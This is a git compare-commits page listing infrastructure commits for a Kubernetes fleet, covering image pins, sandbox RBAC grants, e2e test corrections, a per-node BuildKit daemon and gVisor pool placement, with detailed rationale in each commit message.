Compare commits

...
217 Commits
Author SHA1 Message Date
hanzo-ci 4f68601901 billing 1.0.24 -> 1.0.25
CI / integrity (push) Failing after 6s
CI / guards (push) Failing after 10s
Mirror to GitHub / publish (push) Failing after 10s
CI / manifests (push) Failing after 14s
Charts / publish (push) Successful in 17s
ghcr.io/hanzoai/billing:1.0.25
sha256:337719abf3c65215706b3766264e5301d68143283067eef51ca15fe01498ddf9

Tag and digest are one registry answer, resolved together and written in one
edit, so the name a human reads and the bytes the kubelet pulls cannot be two
different releases. cd.hanzo.ai reconciles the change from here.

Pinned-by: ci run 36083
2026-08-06 15:40:38 +00:00
hanzo-dev d2dfdff720 e2e: visor's tests passed while its login was completely dead
E2E / browser (push) In progress
Mirror to GitHub / publish (push) Failing after 7s
E2E / cli (push) Successful in 2m38s
All three passed against a stub, and — far worse — against the real thing
while sign-in redirected to `https://door.example.com`, a placeholder host that
does not resolve. Clicking sign in landed on a browser error page, and nothing
reported it for as long as that has been shipping.

Every assertion had an escape:

  - `hasAuth = … || body.length > 0`. Any non-empty body passed, which made
    the three clauses before it decorative.
  - `if (url.startsWith('chrome-error'))` fell back to fetching the ORIGIN,
    which is healthy — converting the one signal that the browser could not
    reach the page into a reason to measure something else.
  - "API health check" accepted `status < 500` across `/health`, `/api/health`
    and `/`. Visor is an SPA and answers 200 with its shell for every unknown
    path, so a 404 route and a healthy one were indistinguishable.

Now: the surface names itself in its title; sign-in must reach a RESOLVABLE
hanzo.id authorize naming `hanzo-visor`, with ERR_NAME_NOT_RESOLVED watched
explicitly because that failure is otherwise invisible — the browser sits on
chrome-error:// and every text assertion reads an empty document; and the API
test asserts JSON from `/v1/regions`, since content-type is what separates a
real route from the shell.

Production: 2 pass, 1 red — the red is the live login, fixed in hanzoai/visor
`web/src/Conf.js`. Against the stub: 3 passing became 0.
2026-08-06 08:35:02 -07:00
zeekay 6ec1160a32 sandboxes: the reaper may see orphans, and purge may actually purge
CI / guards (push) Failing after 14s
CI / integrity (push) Failing after 15s
Mirror to GitHub / publish (push) Failing after 13s
CI / manifests (push) Failing after 21s
Two verbs the code calls and the Role did not grant, so both calls have been
failing at Warn in production since the namespace went up:

  pods list    reap.go orphans(). A pod whose row is gone is claimed by nobody,
               so no store read can name it — asking the API server what is
               running here is the only way to see it. The sweep runs every
               minute, logs, and returns; orphaned pods accumulate forever.

  pvc delete   runtime.go purge(), reached only by
               DELETE /v1/sandboxes/:id?purge=1. Withholding the destructive
               verb did not make purge safe — it made purge answer 204 and
               leave the disk. A caller who asked to delete their volume was
               told it was done.

Measured before:

  kubectl auth can-i list pods   --as system:serviceaccount:hanzo:cloud \
    -n hanzo-sandboxes  ->  no
  kubectl auth can-i delete persistentvolumeclaims ... ->  no

No watch. Nothing in apps/sandbox opens one — the sweep lists once per pass —
and this file's rule is that the verbs are what the code calls and nothing
else. The header said "no list, no watch" and "NO delete"; the code stopped
matching that, so the prose is corrected here rather than left contradicting
the rules it explains.
2026-08-06 07:45:02 -07:00
hanzo-dev 5c05459ea1 e2e: a test written for a live bug was reporting green
Mirror to GitHub / publish (push) Failing after 24s
E2E / cli (push) Successful in 2m0s
E2E / browser (push) Failing after 1h0m21s
`the OIDC scope is not duplicated` read `page.url()` straight after loading the
insights landing — a page with no query string at all. So its parts list was
empty, and empty trivially equals its own Set: it passed by measuring nothing.

Meanwhile the defect it is named for is LIVE:

    scope=openid+email+profile+openid+profile+email

Every value twice, on the real hanzo-insights authorize. A test written for a
specific bug, green while that exact bug ships, is worse than no test — it also
tells you not to look. It now reads the authorize URL, requires a scope to
exist before judging it for duplicates, and is correctly RED.

Six more here were absence checks with no floor. "renders a real UI, no
overflow, monochrome, honest" asserted `text.length > 20` and then tested for
things that were NOT there — no sideways scroll, no purple, no overclaim. An
absence only means something once you know what you are looking at, and twenty
characters is not a UI: analytics renders 33 in total and cleared it with 13 to
spare. Each lens now declares the words that identify it.

The header test had the same shape — no dead anchors, not more than one Sign in
— both satisfied perfectly by a page with no header. It counts the anchors
first.

`insights` no longer bounces to IAM; it serves its own landing with a Sign in.
The test asserting the bounce has been red against production and is rewritten
to the surface that exists rather than deleted — its replacement proves the
handoff still opens a complete authorize for hanzo-insights.

Production: 10 passed / 2 failed, the same count as before but both failures
now real (the ERRORS-shell red is pre-existing). Against the stub: 8 passing
became 0.
2026-08-06 07:28:04 -07:00
hanzo-dev 79946b355e e2e: the playground gate asked whether it was gated, and accepted no
Mirror to GitHub / publish (push) Failing after 41s
E2E / cli (push) Successful in 2m51s
E2E / browser (push) Canceled after 5m34s
Nine of this file's tests passed against a server that answers 200 on every
path and implements nothing. Three shapes, one mistake — asking whether
something happened rather than asserting it:

  - `toBeLessThan(500)`, named "host is reachable (non-5xx)". A 404 satisfies
    it. So does anything that answers at all.
  - "IAM authorize URL carries OIDC params (WHEN REACHED)" — when the redirect
    had not happened it wrote an annotation and returned, passing in exactly
    the case it existed to catch.
  - The landing CTA test held THREE escapes: no link found → return, href
    already points at hanzo.id → return, then `reachedIam || reachedAuth`,
    which any URL containing "auth" satisfies.

Measured first, then asserted. Every entry point into this product — the
landing CTAs and all three playground hosts — arrives at a hanzo.id authorize
naming `client_id=hanzo-bot`, `response_type=code`, `scope` with `openid` and
a `redirect_uri`. That is now one shared assertion applied whole and
unconditionally, so the "when reached" hedge is gone: the redirect IS the
contract. Naming the client is what makes it this product's gate rather than
some sign-in page somewhere.

Three tests per host became one. The two removed proved nothing the survivor
does not, and both passed against the stub.

The console route needed BOTH halves and neither alone: `toBe(200)` still
survived the stub (a server answering 200 everywhere answers this too), and
gating alone proves nothing about the route, because an SPA redirects an
unknown path to sign-in as readily as a real one. Asserting existence and
protection together is what a stub cannot fake.

5 pass against production, 5 fail against the stub (was 9 passing there).
2026-08-06 07:22:15 -07:00
zeekayandhanzo-dev c005319480 hanzo-mainnet: the ONE traffic app — mnemonic circulation, all-5 fanout
CI / guards (push) Failing after 7s
CI / integrity (push) Failing after 6s
Mirror to GitHub / publish (push) Failing after 8s
CI / manifests (push) Failing after 12s
Charts / publish (push) Successful in 16s
Same shape as the lux and zoo fleets: luxfi/traffic v0.2.0, TRAFFIC_KEY
from lux-deployer/LUX_MNEMONIC, 100-wallet circulation, chains.json
fanning to all five hanzod-mv pods (no mempool gossip on 36963).
Wallet 0 funded 300 AI from the faucet; chain-traffic scaled to 0 and
retired to killswitch duty.

Co-authored-by: Hanzo Dev <dev@hanzo.ai>
2026-08-06 06:50:53 -07:00
zeekay 2aa4a745b8 kms-only-secrets: cert-manager renews on a timer, so a live sample never saw it
CI / integrity (push) Failing after 5s
CI / guards (push) Failing after 5s
Mirror to GitHub / publish (push) Failing after 7s
CI / manifests (push) Failing after 13s
The allowlist was derived from principals observed writing Secrets. cert-manager
writes only when a certificate renews, so a point-in-time sample could not see it
and it was omitted. ns/zen holds three live TLS secrets and zen-landing-tls
renews 2026-09-12 — the Deny binding would have refused that renewal SILENTLY,
five weeks from now, long after anyone would connect the failure to this policy.

Measured before the fix: creating a Secret in zen as
system:serviceaccount:cert-manager:cert-manager returned Forbidden. It was the
ONLY missing writer — every other SA holding secret-create in zen was already
listed, checked by enumerating them rather than by guessing.

The general failure is worth more than the entry: an allowlist derived from
observed writes is only as complete as its observation window, and anything that
writes on a TIMER — renewals, rotations, scheduled backups — is invisible to a
live sample and then fails at the least convenient moment. Enumerate RBAC, do not
sample traffic.
2026-08-06 06:44:37 -07:00
hanzo-ci c9b00b2a7b hanzo-app v1.42.342 -> v1.42.342
CI / integrity (push) Failing after 7s
CI / guards (push) Failing after 8s
Mirror to GitHub / publish (push) Failing after 9s
Charts / publish (push) Successful in 19s
CI / manifests (push) Failing after 14s
ghcr.io/hanzoai/app:v1.42.342
sha256:e7233e8d57a5ec56666846ba962de3e430bac39c327b61a77d8e36a1b5036a1d

Tag and digest are one registry answer, resolved together and written in one
edit, so the name a human reads and the bytes the kubelet pulls cannot be two
different releases. cd.hanzo.ai reconciles the change from here.

Pinned-by: ci run 35800
2026-08-06 13:44:12 +00:00
hanzo-ci f37c51da48 hanzo-app v1.42.341 -> v1.42.342
CI / integrity (push) Failing after 6s
Mirror to GitHub / publish (push) Failing after 13s
Charts / publish (push) Canceled after 15s
CI / guards (push) Failing after 14s
CI / manifests (push) Canceled after 15s
ghcr.io/hanzoai/app:v1.42.342
sha256:59282fe0ecf5bea8a267f1314429c06eb28fa7cd1fd6264b26b7c64969a89192

Tag and digest are one registry answer, resolved together and written in one
edit, so the name a human reads and the bytes the kubelet pulls cannot be two
different releases. cd.hanzo.ai reconciles the change from here.

Pinned-by: ci run 35814
2026-08-06 13:43:55 +00:00
hanzo-dev e968547493 sandboxes: cloud may create the pod it leases, exec into it, and claim its disk
CI / integrity (push) Failing after 8s
CI / guards (push) Failing after 8s
Mirror to GitHub / publish (push) Failing after 8s
CI / manifests (push) Failing after 19s
/v1/sandboxes answers and then cannot do the one thing it exists for. A sandbox
IS a pod in hanzo-sandboxes, and cloud's ServiceAccount has no verb on pods
anywhere — its ClusterRole grants none deliberately, so that a compromised cloud
process cannot create or exec into a pod in kube-system or a tenant namespace.
Measured before this commit:

  kubectl auth can-i create pods --namespace hanzo-sandboxes \
    --as system:serviceaccount:hanzo:cloud
  no

So the grant is a namespaced Role bound in hanzo-sandboxes and nowhere else, on
the SAME identity — one binary, one ServiceAccount, one more place it may act.

The verbs are what apps/sandbox calls and nothing more: pods get/create/delete to
lease and end a lease (the reaper ends them on expiry and on an hour idle),
pods/exec create because all three verbs travel over the exec subresource, and
persistentvolumeclaims get/create for the project disk. No PVC delete: a lease
ending must not take the checkout with it, and purge is opt-in — the destructive
verb is not granted rather than granted and avoided. No list and no watch: the
reaper reads the store for what is running, not the API server.

Co-authored-by: Hanzo Dev <dev@hanzo.ai>
2026-08-06 06:43:08 -07:00
hanzo-ci baad054d7c hanzo-app v1.42.340 -> v1.42.341
Charts / publish (push) Successful in 50s
CI / guards (push) Failing after 48s
CI / integrity (push) Failing after 47s
Mirror to GitHub / publish (push) Failing after 46s
CI / manifests (push) Failing after 12s
ghcr.io/hanzoai/app:v1.42.341
sha256:f91d974d385ae1382dc63dcba67188c5286e5ff4f793df2b16ad7f28509978aa

Tag and digest are one registry answer, resolved together and written in one
edit, so the name a human reads and the bytes the kubelet pulls cannot be two
different releases. cd.hanzo.ai reconciles the change from here.

Pinned-by: ci run 35747
2026-08-06 13:26:29 +00:00
zeekay 2570e75ce1 hanzocd: the repo-server stops being first to be evicted
CI / guards (push) Canceled after 0s
CI / integrity (push) Canceled after 0s
Mirror to GitHub / publish (push) Canceled after 0s
CI / manifests (push) Failing after 13s
It was evicted, and the kubelet named the cause:

  The node was low on resource: memory. Container hanzocd-repo-server was
  using 198560Ki, request is 128Mi, has larger consumption of memory.

A pod over its own request is in the first eviction class. For this pod that is
a bad trade twice over: 128Mi is below what it steadily uses (151Mi now, 194Mi
at eviction), so it is permanently in that class, and evicting it frees ~70Mi
while stopping git delivery for ~320 Applications.

That failure is silent, which is what makes it worth a commit. With no repo-
server able to read a new revision, every Application keeps reporting
Synced/Healthy against the last revision it managed to fetch — the dashboard
stays green while nothing ships. Observed today: an app sat Synced/Healthy at
0f9ea04f8 with the real branch tip two commits further on.

256Mi: above the 194Mi seen at eviction, under the untouched 512Mi limit.
2026-08-06 06:25:01 -07:00
hanzo-dev 65ded21326 e2e: the prove harness was overcounting by 4x — correct it
E2E / cli (push) Successful in 1m27s
Mirror to GitHub / publish (push) Failing after 9s
E2E / browser (push) Failing after 2m19s
It reported 131 tests as unable to fail. The real number is 35. The other 96
were talking to PRODUCTION for the whole run, so whether they passed said
nothing about them, and the harness had no way to tell the two apart.

Two ways a spec escapes redirection, and the second is the one that fooled me
twice:

  1. A hardcoded host. 63 of 117 specs carry one — `09-iam` pins
     `const HANZO_ID_URL = 'https://hanzo.id'` with no override, so eight of
     its twelve "unfailable" tests were reading the live IdP.
  2. A host BUILT from a var the harness cannot set. `helpers/app.ts`
     composes `https://<slug>.${E2E_APP_DOMAIN}`; a domain used that way has
     no local address at all, so 163 app tests ran against the live fleet
     while the report called 38 of them unfailable. No hardcoded literal
     appears anywhere in that file — a scan for string literals misses it
     entirely, which is why the first correction was still wrong.

`scripts/measurable.cjs` applies both rules statically and prove.sh now prints
the unmeasurable set beside the verdict, so the two can never again be read as
one number. The stub also counts the requests it actually received: zero hits
means nothing below it is evidence.

The per-spec findings already fixed stand — those were confirmed redirected
test-by-test (the stub's address appears in each test's own title), not
inferred from the aggregate. What was wrong was only the total.
2026-08-06 06:23:52 -07:00
zeekay 995130e7d7 git-runner: the disk reservation meets the meter
CI / manifests (push) Failing after 14s
Charts / publish (push) Successful in 19s
CI / guards (push) Failing after 6s
CI / integrity (push) Failing after 5s
Mirror to GitHub / publish (push) Failing after 8s
200Gi ephemeral was set before anyone read the meter. Read now, per pod, from
kubelet stats/summary across all 10 live runners:

  6.9 8.2 8.5 9.5 13.3 14.2 14.5 21.9 24.3 42.6 GiB

Peak 42.6. The reservation was ~4.7x the worst real runner, and the cost is not
waste but placement: 200Gi against ~1141Gi allocatable bounds a 1TB node at five
runners, and both nodes sit at 98% ephemeral requested while using ~8%. The pool
cannot grow without buying nodes to satisfy a number nobody had checked.

96Gi, moved together with the docker-storage sizeLimit as that block requires.
Chosen against the two real numbers on this pod rather than rounded: 1.7x the
56.5G eviction already recorded here, 2.25x today's live peak. 64Gi was
considered and rejected for sitting 1.13x above a size this fleet has already
reached once — that reintroduces the eviction the 200Gi cap existed to stop.
Effect: five runners per node becomes eleven, node ephemeral requests 98% -> ~45%.

cpu 500m and memory 4Gi are deliberately UNTOUCHED. Neither is the binding
constraint (nothing is Pending on either), and memory is the one number here
measured to be correct: live usage peaks at 3620Mi against the 4Gi request, so
cutting it buys nothing and makes a runner first to be evicted under pressure.

A `df` inside these pods reports the NODE filesystem, not the pod, and reading
it that way understates a 42.6Gi runner as ~24KB. The command that does not lie
is recorded next to the value.
2026-08-06 06:19:56 -07:00
hanzo-devandzeekay 0f9ea04f8e hanzo-build: let build clients reach the warm daemon
Mirror to GitHub / publish (push) Failing after 7s
buildkitd-node is live and healthy (8/8) but no client can dial it. The
namespace egress CNP denies every internal CIDR, and the only hole punched
for a builder names `app: buildkitd` -- the hand-applied spike StatefulSet,
not the DaemonSet's `app: buildkitd-node`. So the 2.68x is deployed and
unreachable: cut a scheduler over today and every build hangs 20s on a
silent drop, then fails.

Measured, from a pod on runner-pool-32g-3m84nd (a node WITH a local daemon
and a Ready endpoint, so this is policy, not placement):

  before: dial tcp 10.124.63.67🔢 i/o timeout   [20.01s, build fails]
  after:  buildctl debug workers -> s18ze40s1skcv0ymr9dfrmxgf linux/amd64
          cache-mount build: CACHE MISS 2.0s -> CACHE HIT 0.0s on rerun

The client in that test ran privileged:false,
allowPrivilegeEscalation:false -- delegating to the daemon is what lets the
build pod drop privilege, so this rule is also what makes that possible.

Added to the existing policy rather than as a second one: "what may a build
pod egress to" is one question, and two files answer it twice. Scoped to
the daemon's label and its single gRPC port, so no other internal
destination opens up.

Supersedes the untracked `buildkitd-client-egress` CNP; delete that
alongside the spike.
2026-08-06 06:15:04 -07:00
hanzo-devandzeekay f0103543df buildkitd-node: stop asking for a pull secret that does not exist
Mirror to GitHub / publish (push) Canceled after 0s
CI / integrity (push) Failing after 8s
CI / guards (push) Failing after 11s
Charts / publish (push) Successful in 20s
CI / manifests (push) Failing after 27s
Every pod of the DaemonSet logged FailedToRetrieveImagePullSecret for
ghcr-secret, which is not present in hanzo-build. The chart defaults
imagePullSecrets to ghcr-secret (charts/app/values.yaml:41); this file
never overrode it.

Harmless today only because moby/buildkit is public and pinned by digest.
Overriding to [] lets the namespace default SA supply registry-hanzo and
hanzo instead - both of which exist - so the pod gains working
credentials rather than losing them.
2026-08-06 06:11:18 -07:00
hanzo-ci ecf1a94ecd hanzo-app v1.42.340 -> v1.42.340
Charts / publish (push) Canceled after 0s
CI / manifests (push) Canceled after 0s
CI / guards (push) Canceled after 0s
CI / integrity (push) Canceled after 0s
Mirror to GitHub / publish (push) Canceled after 0s
ghcr.io/hanzoai/app:v1.42.340
sha256:a998432a5af155d2a8f43857157238d72bd73a21cb7a0474877e85d89e23288d

Tag and digest are one registry answer, resolved together and written in one
edit, so the name a human reads and the bytes the kubelet pulls cannot be two
different releases. cd.hanzo.ai reconciles the change from here.

Pinned-by: ci run 35718
2026-08-06 13:06:24 +00:00
hanzo-ci 9fc8903a01 hanzo-app v1.42.339 -> v1.42.340
Charts / publish (push) Canceled after 0s
CI / manifests (push) Canceled after 0s
CI / guards (push) Canceled after 0s
CI / integrity (push) Canceled after 0s
Mirror to GitHub / publish (push) Canceled after 0s
ghcr.io/hanzoai/app:v1.42.340
sha256:8b6c3c3e57f2255c9cc908fa1e76db600709091624655f39942f7aa3444af2cc

Tag and digest are one registry answer, resolved together and written in one
edit, so the name a human reads and the bytes the kubelet pulls cannot be two
different releases. cd.hanzo.ai reconciles the change from here.

Pinned-by: ci run 35675
2026-08-06 13:05:21 +00:00
hanzo-dev ea1c1c70eb lsp 0.1.0 -> 0.1.1: the boot self-test can now pass
Charts / publish (push) Successful in 20s
CI / guards (push) Failing after 8s
CI / manifests (push) Failing after 15s
CI / integrity (push) Failing after 6s
Mirror to GitHub / publish (push) Failing after 7s
0.1.0 refused every request on every host. Its jail built the chroot by binding
each allowed path at its own absolute path and THEN mounting the writable tmpfs
at <root>/tmp, which covered every bind under /tmp — where the staging directory
lives. The self-test masked its own working tree, chdir returned ENOENT, and the
child exited 126:

  JAIL SELF-TEST FAILED — refusing every request
  err="jail: serve canary did not run: exit status 126"

The fail-closed spine did exactly its job on it: /readyz 503, no endpoints.

0.1.1 orders the mounts shallowest path first, so an ancestor mounted after a
descendant is not representable, and execs its canary rather than reporting from
inside the process that built the jail. Measured on this pool under runsc: serve
`socket=denied`, fetch `socket=open`.
2026-08-06 06:01:48 -07:00
hanzo-dev cceeab2fd8 cloud: pin sha-8465354e6bf3 — @hanzo answers, and the console can read metrics
Charts / publish (push) Canceled after 0s
CI / manifests (push) Canceled after 0s
CI / guards (push) Canceled after 0s
CI / integrity (push) Canceled after 0s
Mirror to GitHub / publish (push) Canceled after 0s
Thirteen commits, one image.

SLACK CHAT WORKS. deps.AI dialed zip.SocketPath("ai") and spoke cleartext HTTP
to it. Wrong twice: the socket is served by zaphttp (ZAP is framed binary, so
plaintext is unintelligible and the peer closes -> EOF), and what binds there is
the app's PLANE, not its routes — framed correctly it still 404s /v1/models.
Measured with controls: over ai.sock, health / models / a bogus path / chat all
EOF'd on plain HTTP and all 404'd on ZAP, and agents.sock and commerce.sock did
the same. So this was never about `ai`, and fixing only the wire would have
turned EOF into 404 — the changed-error-message trap.

Model calls now enter the fleet ROUTER's own listener on loopback, which owns
the route table that sends /v1/* to ai and owns starting a cold app. No DNS, no
Service hop, no trip out through Cloudflare back to the pod's own address.

Verified on the running pod BEFORE this deploy, same credential deps.AI mints:
  GET  /v1/models           -> 200  {"data":[...]}       (control)
  GET  /v1/bogus-not-real   -> 404                        (control)
  POST /v1/chat/completions -> 200  "Hello from Enso."

Why it hid for a day: agents_run_on_behalf returned 200 in 205ms with a NIL
error, so the bridge fell into `run.Status != "ok"` — the one branch that logged
nothing. Every layer reported success while no work happened. That branch now
logs status and run id.

MCP: 1,189 flat tools in 977 KB (~244k tokens just to list) became 116 tools in
107 KB. One hanzo_<app> per subsystem with the op as an enum, plus hanzo_describe
to fetch a schema on demand. Clients truncate at 128, so 1,061 ops were
unreachable at any ordering. refuse() is untouched and still the only gate.

o11y: PromQL stops reading o11y_metrics, a database that does not exist — 264 of
264 logged queries failed on it. The data was never missing: event.metric holds
145.7M rows at 3 seconds of lag.

Build: 17m00s of work, of which 356s regenerated 99 files git already had and
221s exported a cache mode=max bought 4.6s from. Both gone; layers are zstd.
/zen is coresident and got a binary it could never execute: -165 MB.

Also carries three billing fixes and a fleet-door fix from other lanes.
2026-08-06 06:01:26 -07:00
a e3f01dabe7 Merge pull request 'buildkitd-node: a warm BuildKit daemon per CI node' (#1) from feat/buildkitd-warm-per-node into main
Charts / publish (push) Canceled after 17s
CI / manifests (push) Canceled after 0s
CI / guards (push) Canceled after 0s
CI / integrity (push) Canceled after 0s
Mirror to GitHub / publish (push) Canceled after 0s
2026-08-06 13:00:34 +00:00
hanzo-dev e792f6ae88 chat 1.0.99 -> 1.0.100: canvas toggle
CI / guards (push) Failing after 9s
CI / manifests (push) Failing after 22s
Charts / publish (push) Successful in 24s
CI / integrity (push) Failing after 7s
Mirror to GitHub / publish (push) Failing after 10s
2026-08-06 05:53:48 -07:00
zeekay 8ce26ddcba buildkitd-node: a warm BuildKit daemon per CI node
Every `--mount=type=cache` in every Dockerfile is decorative today. Builds run
as one-shot Jobs, a Job is a fresh pod, so the mount is created empty and the
compile pays full cost every run. The registry cache already works and is kept,
but it restores LAYERS — and a layer only helps when the whole step is
unchanged. It cannot restore the inside of a cache mount, which is where Go's
build cache and module cache live. The expensive half of a build was never
cached at all.

A daemon that outlives the build fixes that, and nothing else does.

MEASURED here, ghcr.io/hanzoai/cloud, two consecutive commits against one
daemon (19010dbb cold, then 0e57f39c warm — different commits deliberately; an
identical rebuild would only prove the layer cache works):

  wall clock            19m36s -> 7m19s    2.68x, -62.7%
  #18 go mod download     54.4s ->   1.0s  54.40x  cache mount /go/pkg/mod
  #24 go generate        588.5s ->  88.5s   6.65x  both cache mounts
  #25                     16.0s ->   2.3s   6.96x
  #23                     12.9s ->   2.1s   6.14x
  #27                    220.7s -> 114.5s   1.93x

Every step carrying a cache mount got faster. Two steps got slower warm
(COPY --from=build /plugins/ 13.5s -> 194.9s, /smoke 0.1s -> 11.5s): cold those
layers returned whole from the registry cache, warm the rebuilt stage had to
materialise 12.07GB for real. Net 12m17s saved. The honest number is the wall
clock, not the six steps that flatter it.

SIZED FROM MEASURED DATA. One cloud build is 34.28GB in the store, 22.92GB
reclaimable, of which the mounts that matter are 12.04GB (go-build 7.10 +
gomod 4.94). A DaemonSet has one spec across pools of different sizes, so the
GC budget is sized for the smallest node it lands on — runner-pool-32g at
94.9GB allocatable. 24GB protected for cache mounts, 40GB global ceiling.

CONTENT-ADDRESSED, and the manifest says so at length so nobody optimizes it
away. Sharing a daemon is safe because the layer store is keyed by DIGEST: a
layer cannot masquerade, its name is its content. Cache MOUNTS are the
exception and the whole hazard — `id=NAME` is a named mutable directory, and
per-pod isolation prevented cross-build poisoning by accident. Hence: ids stay
namespaced per repo (cloud already does, `cloud-gomod-v4`), first-party repos
only, never collapse ids to a generic `gomod` to "share more".

Rootless, so this drops `privileged`. VERIFIED on runner-pool-1tb-3m8cmh with
the exact securityContext and TOML in this file: uid=1000, `auto snapshotter:
using overlayfs`, process-mode no-sandbox, GC rule#0 loaded with the configured
filters, server listening on 1234.

That probe also found a real defect before it shipped. allowPrivilegeEscalation:
false — the obvious hardening flag, and the first thing I wrote — makes the
daemon fail to start:

  [rootlesskit:parent] error: failed to setup UID/GID map:
  newuidmap 16 [0 1000 1 1 100000 65536] failed: newuidmap: Could not set caps

RootlessKit builds the user namespace with the setuid helper newuidmap, and
that flag sets no_new_privs, which is exactly a promise that no setuid binary
gains anything. It is omitted, with the error recorded inline so nobody adds it
back on inspection. Upstream's own Kubernetes example omits it for this reason.

ADDITIVE. Named buildkitd-node, not buildkitd, because an untracked
hand-applied StatefulSet `buildkitd` with a HEADLESS Service of that name is
live in the namespace right now. Colliding would hard-fail — clusterIP is
immutable — and sharing its `app: buildkitd` label would be worse than failing,
silently splitting traffic across two daemons with two caches. Nothing points
at this yet; the existing one-shot Job path is untouched. Rollback is "stop
pointing at it".

chart 0.1.9 -> 0.1.10 adds service.internalTrafficPolicy, which the chart had
no way to express. A per-node daemon needs Local: the default round-robin finds
a given repo's warm cache 1/N of the time, so the cache would be shared badly
enough to stop being warm. Local drops traffic when the local node has no
endpoint, so the nodeAffinity must cover every node a client runs on — verified
against live pod placement (build Jobs on runner-pool-32g, git-runner on 1tb).

Verified: helm template renders 4 objects; `kubectl apply --dry-run=server`
accepts all 4 (nothing written); all 121 existing values files still render
against the modified chart.
2026-08-06 05:48:22 -07:00
zeekay bf42bc3cd7 cd: give the admission policies a mover
CI / manifests (push) Canceled after 0s
CI / guards (push) Canceled after 0s
CI / integrity (push) Canceled after 0s
Mirror to GitHub / publish (push) Canceled after 0s
cd-owns-the-fleet and the split kms-only-secrets were written, pushed, and
reported as landed while being applied by nobody. infra/k8s belongs to the
manual-sync `universe` app, sitting OutOfSync at 57/240, so the policies enforced
nothing and `kubectl get` returned NotFound for both. Declared and not real —
which is precisely the shape those policies exist to catch, committed by the
person writing them.

Scoped to three FILES, not the directory. infra/k8s/zt also holds the zero-trust
controller, edge, routers and zrok; pointing an automated app at the whole path
would turn "let the policies reach the cluster" into "auto-sync the zero-trust
stack", which is a different and much larger decision.

Own project rather than sharing hanzo-scheduling, because a project fence refuses
anything outside its whitelist and one refusal deadlocks every other resource in
the app. The whitelist is exactly two kinds, so a misconfiguration here can reach
admission policy and nothing else.

prune:false like every sibling, and it matters more here: pruning an admission
policy removes a guard while the cluster keeps working — a green surface over a
control that stopped.

Still hand-applied, deliberately. The hanzo-cd kustomization keeps Applications
out of `resources` so a deleted one cannot silently return, and that reason is
good enough to leave alone.
2026-08-06 05:46:27 -07:00
hanzo-ci ad4efe5fb6 hanzo-app v1.42.339 -> v1.42.339
CI / manifests (push) Canceled after 0s
CI / guards (push) Canceled after 0s
CI / integrity (push) Canceled after 0s
Mirror to GitHub / publish (push) Canceled after 0s
Charts / publish (push) Canceled after 0s
ghcr.io/hanzoai/app:v1.42.339
sha256:e7ee1532658fdf3f7e3b1aabe76815c8f964cc1d12b22937d928e94b65e881d0

Tag and digest are one registry answer, resolved together and written in one
edit, so the name a human reads and the bytes the kubelet pulls cannot be two
different releases. cd.hanzo.ai reconciles the change from here.

Pinned-by: ci run 35609
2026-08-06 12:45:30 +00:00
hanzo-ci 72643943ee hanzo-app v1.42.338 -> v1.42.339
Charts / publish (push) Successful in 21s
CI / manifests (push) Canceled after 0s
CI / integrity (push) Canceled after 0s
Mirror to GitHub / publish (push) Canceled after 0s
CI / guards (push) Canceled after 0s
ghcr.io/hanzoai/app:v1.42.339
sha256:7a627b1b7300d91ceff59259dbb4932c5053703f0e6fdaf4501d3e815eb93e0d

Tag and digest are one registry answer, resolved together and written in one
edit, so the name a human reads and the bytes the kubelet pulls cannot be two
different releases. cd.hanzo.ai reconciles the change from here.

Pinned-by: ci run 35621
2026-08-06 12:44:12 +00:00
zeekay 33654d6f4f gvisor: aim at the pool that exists instead of the one that runs everything else
CI / manifests (push) Failing after 16s
CI / guards (push) Failing after 8s
CI / integrity (push) Failing after 6s
Mirror to GitHub / publish (push) Failing after 8s
The committed node set was worker-pool: 8 nodes autoscaling to 16, untainted,
carrying the fleet's ordinary workloads. That was the right call when it was
made — code-exec-pool was an inventory comment in node-pools.tf and nothing
else, so worker-pool was the only real pool to aim at. The premise expired.

MEASURED on hanzo-k8s (do-sfo3-hanzo-k8s), today:
  * code-exec-pool exists: 2 Ready nodes, labelled
    doks.digitalocean.com/node-pool=code-exec-pool by DOKS itself, tainted
    dedicated=code-exec:NoSchedule.
  * gvisor-installer is 2/2 there. Its initContainer log: runsc
    release-20260622.0, both sha512s OK, containerd restart dispatched.
  * On BOTH nodes, read through the host mount namespace: runsc and
    containerd-shim-runsc-v1 present in /usr/local/bin, containerd active,
    imports = ["/etc/containerd/conf.d/*.toml"], and `crictl info` lists CRI
    handlers "runc" AND "runsc". That last one is the fact that was missing —
    the handler is REGISTERED, not merely declared to Kubernetes.
  * A Pod with runtimeClassName: gvisor, carrying this commit's selector and
    toleration, reached Running on code-exec-pool-3m8k4d and reported kernel
    4.19.0-gvisor against a 6.12.73 host, dmesg "Starting gVisor...".
    That pod was deleted; it was a measurement, not a workload.

Installing rewrites containerd's runtimes table and RESTARTS CONTAINERD. On
worker-pool every pod on 8-16 nodes pays that for a runtime none of them uses.
code-exec-pool is tainted, so it holds nothing but DaemonSets and the restart
costs nothing — which is the entire reason to spend a dedicated pool rather
than a label. Blast radius is the argument.

TOLERATIONS ARE NOW LOAD-BEARING and are checked in two places. While the
target was untainted, a missing toleration granted nothing. On a tainted pool
it inverts: scheduling.nodeSelector is merged into every pod naming the class
at admission, so the selector PINS a sandboxed pod to the pool and the taint
then refuses it — Pending forever, with runsc installed and idle three feet
away. So ci.yml's "gVisor node set is declared once" now compares tolerations
as well as nodeSelector (normalised — order is not meaning), and guard.yaml
grows a fourth live assertion for the same pair. Selector and toleration are
one fact; they were already two objects, and two objects with one fact is
exactly what both checks exist to hold together.

Not done here, and deliberately: code-exec-pool is NOT in node-pools.tf as a
resource — only in the inventory comment. The pool exists on the cluster and
Terraform does not know it, so its size, labels and taint are undeclared. That
wants an import, not a fresh resource block, and an import is its own change.
2026-08-06 05:32:53 -07:00
hanzo-ci 39c89ab447 hanzo-app v1.42.337 -> v1.42.338
Charts / publish (push) Successful in 30s
CI / manifests (push) Failing after 21s
CI / integrity (push) Failing after 8s
CI / guards (push) Failing after 10s
Mirror to GitHub / publish (push) Failing after 11s
ghcr.io/hanzoai/app:v1.42.338
sha256:5210890f29597a3dce2085a3140a9759e8f32ec799d97fb6b9f60e2417d44c3f

Tag and digest are one registry answer, resolved together and written in one
edit, so the name a human reads and the bytes the kubelet pulls cannot be two
different releases. cd.hanzo.ai reconciles the change from here.

Pinned-by: ci run 35469
2026-08-06 12:26:51 +00:00
hanzo-dev 6a9e52b6c3 lsp: deploy daemon on the gVisor pool + wire cloud LSP_KEY (digest pending)
Charts / publish (push) Canceled after 0s
CI / manifests (push) Canceled after 0s
CI / guards (push) Canceled after 0s
